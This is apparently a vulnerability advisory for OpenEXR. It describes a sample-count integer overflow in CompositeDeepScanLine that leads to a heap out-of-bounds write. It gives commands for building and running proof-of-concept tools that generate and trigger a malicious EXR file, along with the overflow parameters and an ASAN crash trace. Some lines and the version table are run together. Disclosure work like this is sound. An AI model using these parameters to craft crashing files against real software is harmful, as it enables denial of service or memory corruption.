| Package | Affected versions | Patched versions |
|---|---|---|
| openexr | ≥ 2.3.0, < 3.2.6≥ 3.3.0, < 3.3.8≥ 3.4.0, < 3.4.6 | 3.2.63.3.83.4.6 |
| openexr | ≥ 3.3.0, < 3.3.8≥ 3.4.0, < 3.4.6< 3.2.6 | 3.3.83.4.63.2.6 |
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):
total_sizes[ptr] += counts[j][ptr]; (line ~511)overall_sample_count += total_sizes[ptr]; (line ~514)samples[channel].resize (overall_sample_count); (line ~535)Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario:
unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
composite_deepscanline_poc_bundle.patch
PoC files used:
poc/composite_deep_scanline_e2e_compressed_poc.cpppoc/simple_exr_reader.cppThe reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
cmake -S . -B build-asan \
-DOPENEXR_BUILD_POC=ON \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target composite_writer simple_exr_reader -j
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Scan my site freeGenerate malicious file (decode-path focused profile):
ASAN_OPTIONS=detect_leaks=0 timeout 180s \
./build-asan/poc/composite_writer \
--profile low-ram \
--file /tmp/composite_decode_focus.exr
Trigger:
ASAN_OPTIONS=detect_leaks=0 timeout 30s \
./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Writer (abbrev):
❯ ./build-asan/poc/composite_writer
exploit math:
benign samples : 300
malicious parts : 86
malicious samples per part : 50000000
true total samples : 4300000300
uint32 overflow reached : yes
wrapped uint32 total : 5033004
composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB)
per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
#0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
#1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
#2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
#3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
#4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
#5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
#6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
#0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
#2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
#3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
#4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
#5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
#6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
#7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
#8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
#9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
#11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==175024==ABORTING
In CompositeDeepScanLine::readPixels:
vector<unsigned int> total_sizes.total_sizes[ptr] wraps modulo 2^32.overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count).generic_unpack_deep_pointers) overrun the undersized composite sample buffer.Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.
Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.